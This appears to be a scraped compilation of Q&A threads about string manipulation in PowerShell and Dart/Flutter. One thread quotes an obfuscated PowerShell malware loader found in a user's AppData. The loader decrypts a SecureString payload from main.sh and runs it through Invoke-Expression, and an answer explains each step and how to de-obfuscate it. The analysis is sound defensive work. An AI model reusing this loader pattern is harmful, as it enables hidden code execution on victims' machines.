Removing newline character in PowerShell - powershell

I've got a really simple yet infuriating PowerShell question here. I'm trying to remove a newline character from a string. I have the following code:
param(
[parameter(mandatory=$false)]$Dmn = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
)
function getPDC{
$Domain = $Dmn.Name.Split('.')[0]
$PDC = (nltest /dcname:$Domain).Replace("PDC for Domain ","").Replace($Domain, "").Replace(" is \\","").Replace("The command completed successfully","").Replace("`n","")
$PDC + "hodor"
}
Which, if it would work how I understand it to, should return
PDCVALUEhodor
But instead it returns:
PDCVALUE
hodor
What is the dumb mistake I'm making here?
I tried casting $PDC as a string like so:
[String]$PDC = [String](nltest /dcname:$Domain).Replace("PDC for Domain ","").Replace($Domain, "").Replace(" is \\","").Replace("The command completed successfully","").Replace(" ", "")
And the line breaks disappeared (weird!), giving me
PDCVALUE hodor
which is closer to what I want, but I can't seem to remove that space. I tried calling Replace(" ", "") and Trim() on the string, both of which didn't work.

Instead of .Replace() try .TrimEnd()
$PDC.TrimEnd("`r?`n") + "hodor"

OK, apparently replacing the line
$PDC+"hodor"
with
($PDC+"hodor").Replace(" ", "")
worked. I had to use the Replace function on the entire string ($PDC + "hodor"), not just $PDC for some reason. Also, the Trim function didn't seem to do anything.

Related

powershell regex replace using variable parameters when calling replace

I wondering how to make the following powershell code work with regular expressions. For example I want to call it like this:
rename_file -OneFile proj1_file.txt -Replace0 "^proj1_" -Replace1 "mynewproj_"
The problem is that as soon as I add the regular expression caret (^) my function stops matching for the replace function... If I remove the caret anchor the code works... but is dangerous because its not anchored to the front of the string... I really want the regular expressions chracters to work when passing the string in to this function...
Here's my powershell code...
$script:TotalRename = 0
function rename_file {
param(
[string]$OneFile,
[string]$Replace0,
[string]$Replace1
)
#$NewName = $OneFile.Replace($Replace0, $Replace1)
$NewName = $OneFile -replace $Replace0, $Replace1
if ($NewName -eq $OneFile) {
write-host "NoChange $OneFile"
return
}
$script:TotalRename = $script:TotalRename + 1
write-host "rename $OneFile => $NewName"
}

Split a string based on "|" character in PowerShell

I have a string variable in PowerShell which contains the value:
NFP|8dc3b47a-48eb-4696-abe2-48729beb63c8
I am attempting to get the beginning portion of that string into it's own variable by identifying the index of the "|" character and using a substring function to extract the first portion of the string, in this case "NFP". I am not sure how to escape the "|" so I can use it properly. It doesn't seem to recognize it at all. My latest attempt is as follows:
$PolicyManual = $Item["PolicyManual"]
write-host $PolicyManual #Displays NFP|8dc3b47a-48eb-4696-abe2-48729beb63c8
if ($PolicyManual.Contains([regex]::escape("|"))) {
$PolcyManual = $PolicyManual.Substring(0, $PolicyManual.IndexOf([regex]::escape("|")))
}
I'm sure this is simple, but I can't figure out how to make it work. Can anyone offer assistance to a PowerShell novice?
Thanks.
The problem is that .contains method doesn't know about regex and you are never entering the if condition because of this. When you do [regex]::escape("|"), the method is looking for a literal \|.
Try this instead:
$PolicyManual = "NFP|8dc3b47a-48eb-4696-abe2-48729beb63c8"
if ($PolicyManual.Contains('|')) {
$element0, $element1 = $PolicyManual.Split('|')
$element0 #=> NFP
$element1 #=> 8dc3b47a-48eb-4696-abe2-48729beb63c8
}

Windows PowerShell Malicious script

I found this code in a folder into %appdata%Roaming :(
Can anybody tell me wat it does?
try{Get-Transaction:Test-Connection
New-WindowsImage:Register-ArgumentCompleter
Get-HgsTrace:Set-VMMigrationNetwork}catch{
$sexq="pZsvjJoFqppwjeLWZTreMIrzqZarktnOJMwsddyKhIBlweDpKblExIlrlfWkOVsb" -replace "IoG|ZsvjJ|Fqpp|jeLWZTr|MIrzqZa|ktnOJMw|ddyK|IBlw|DpKb|ExIlr|fWkOVsb";
try{Save-VM:Get-Variable
Set-RuleOption:Get-WindowsSearchSetting
Remove-PSReadLineKeyHandler:Remove-VMResourcePool}catch{}
$ILRorUyZk=Get-Process $sexq;
if ($ILRorUyZk.length -lt 2){
$uMBOKUgyzWiOSfp=#(1..16);
$HXZBX=[System.Runtime.InteropServices.Marshal]
$iuOpORc= Get-Content "main.sh"
$kvsqQjipalHpywxaPr= ConvertTo-SecureString $iuOpORc -key $uMBOKUgyzWiOSfp;
$reEFPHvZmrf = $HXZBX::SecureStringToBSTR($kvsqQjipalHpywxaPr);
try{Remove-ItemProperty:Show-WindowsDeveloperLicenseRegistration
Connect-WSMan:Confirm-SecureBootUEFI
Revoke-VMConnectAccess:Suspend-VMReplication}catch{$upd='LmzXprwH';}
$zcthAxqVWAZrzkx = $HXZBX::PtrToStringAuto($reEFPHvZmrf);
try{Move-Item:Find-Package
Update-FormatData:Invoke-Item
ForEach-Object:New-TlsSessionTicketKey}catch{}
$zcthAxqVWAZrzkx -replace "UGSttylIkwIFr" | iex;}}
Thank you!
Let's see. The first try-catch might be obfuscation to hide from cursory examination. The catch (pun intended) is in the the catch block. It contains the payload, so the try block is intended to throw an exception.
$sexq="pZsvjJoFqppwjeLWZTreMIrzqZarktnOJMwsddyKhIBlweDpKblExIlrlfWkOVsb" `
-replace "IoG|ZsvjJ|Fqpp|jeLWZTr|MIrzqZa|ktnOJMw|ddyK|IBlw|DpKb|ExIlr|fWkOVsb";
The variable contains obfuscated word powershell, which is revealed by replacing a lot of nonsense strings with nothing. There is -replce with search argument but not replacement argument, thus it just removes fillers IoG, ZsvjJ...
$ILRorUyZk=Get-Process $sexq;
if ($ILRorUyZk.length -lt 2){
$uMBOKUgyzWiOSfp=#(1..16);
Here Get-Process is used to find if Powershell is running. If multiple processes aren't being run, create an array containing values 1-16. This might be to avoid situations in which interactive sessions are active.
$HXZBX=[System.Runtime.InteropServices.Marshal]
Create an alias to InterOpServices' Marshal. Nothing troublesome here, legitimate use is to save in typing and reading long namespace descriptors.
$iuOpORc= Get-Content "main.sh"
$kvsqQjipalHpywxaPr= ConvertTo-SecureString $iuOpORc -key $uMBOKUgyzWiOSfp;
A file main.sh is read. It contains a SecureString, encrypted with key 1,2,3...,15,16.
$reEFPHvZmrf = $HXZBX::SecureStringToBSTR($kvsqQjipalHpywxaPr);
SecureString payload is converted to BSTR. This is to decrypt the SecureString, I guess.
try{Remove-ItemProperty:Show-WindowsDeveloperLicenseRegistration
Connect-WSMan:Confirm-SecureBootUEFI
Revoke-VMConnectAccess:Suspend-VMReplication}catch{$upd='LmzXprwH';}
Another "let's hide in the catch block" that sets a variable with nonsense content. No idea why.
$zcthAxqVWAZrzkx = $HXZBX::PtrToStringAuto($reEFPHvZmrf);
try{Move-Item:Find-Package
Update-FormatData:Invoke-Item
ForEach-Object:New-TlsSessionTicketKey}catch{}
Another a step in decryption, followed by weird stuff in another try-catch block without obvious intent.
$zcthAxqVWAZrzkx -replace "UGSttylIkwIFr" | iex;}}
The final payload from SecureString conversion is filtered to remove obfuscation, and the result is passed for execution to Invoke-Expression.
To see what's the payload, do as per Jeramy's comment. Replacing variable names to a bit more descriptive:
$key=#(1..16)
$encryptedStr = Get-Content "main.sh"
$secString = ConvertTo-SecureString $encryptedStr -key $key
$bstrPtr = $HXZBX::SecureStringToBSTR($secString)
$obfuscatedStr = $HXZBX::PtrToStringAuto($bstrPtr)
$obfuscatedStr -replace "UGSttylIkwIFr"

Flutter Unicode Apostrophe In String

I'm hoping this is an easy question, and that I'm just not seeing the forest due to all the trees.
I have a string in flutter than came from a REST API that looks like this:
"What\u0027s this?"
The \u is causing a problem.
I can't do a string.replaceAll("\", "\") on it as the single slash means it's looking for a character after it, which is not what I need.
I tried doing a string.replaceAll(String.fromCharCode(0x92), "") to remove it - That didn't work.
I then tried using a regex to remove it like string.replaceAll("/(?:\)/", "") and the same single slash remains.
So, the question is how to remove that single slash, so I can add in a double slash, or replace it with a double slash?
Cheers
Jase
I found the issue. I was looking for hex 92 (0x92) and it should have been decimal 92.
I ended up solving the issue like this...
String removeUnicodeApostrophes(String strInput) {
// First remove the single slash.
String strModified = strInput.replaceAll(String.fromCharCode(92), "");
// Now, we can replace the rest of the unicode with a proper apostrophe.
return strModified.replaceAll("u0027", "\'");
}
When the string is read, I assume what's happening is that it's being interpreted as literal rather than as what it should be (code points) i.e. each character of \0027 is a separate character. You may actually be able to fix this depending on how you access the API - see the dart convert library. If you use utf8.decode on the raw data you may be able to avoid this entire problem.
However, if that's not an option there's an easy enough solution for you.
What's happening when you're writing out your regex or replace is that you're not escaping the backslash, so it's essentially becoming nothing. If you use a double slash, that solve the problem as it escapes the escape character. "\\" => "\".
The other option is to use a raw string like r"\" which ignores the escape character.
Paste this into https://dartpad.dartlang.org:
String withapostraphe = "What\u0027s this?";
String withapostraphe1 = withapostraphe.replaceAll('\u0027', '');
String withapostraphe2 = withapostraphe.replaceAll(String.fromCharCode(0x27), '');
print("Original encoded properly: $withapostraphe");
print("Replaced with nothing: $withapostraphe1");
print("Using char code for ': $withapostraphe2");
String unicodeNotDecoded = "What\\u0027s this?";
String unicodeWithApostraphe = unicodeNotDecoded.replaceAll('\\u0027', '\'');
String unicodeNoApostraphe = unicodeNotDecoded.replaceAll('\\u0027', '');
String unicodeRaw = unicodeNotDecoded.replaceAll(r"\u0027", "'");
print("Data as read with escaped unicode: $unicodeNotDecoded");
print("Data replaced with apostraphe: $unicodeWithApostraphe");
print("Data replaced with nothing: $unicodeNoApostraphe");
print("Data replaced using raw string: $unicodeRaw");
To see the result:
Original encoded properly: What's this?
Replaced with nothing: Whats this?
Using char code for ': Whats this?
Data as read with escaped unicode: What\u0027s this?
Data replaced with apostraphe: What's this?
Data replaced with nothing: Whats this?
Data replaced using raw string: What's this?

Powershell - $var.ToString(x,y) issue

for a user creation scrip in powershell i'm using textbox object to fill the information of the new user (family name, first name)
I return a value like that:
$TextlabelUsername.text = $Textbox1.text.ToString().Substring(0,5)
Which apply on a button click.
But using that methode if one of my string value is less then 5 caracters the script return an error that the string is not enough long.
Is there a way to select 5 or less caracters or an other method to process ?
Try this:
$str = $Textbox1.text.ToString()
$TextlabelUsername.text = $str.Substring(0, [math]::Min(5, $str.Length))
There is nothing wrong with Ansgar Wiecher's method. Here is an alternative though:
$TextLabelUserName.Text = $Textbox1.Text.ToString() -replace '(.{0,5}).*', '$1'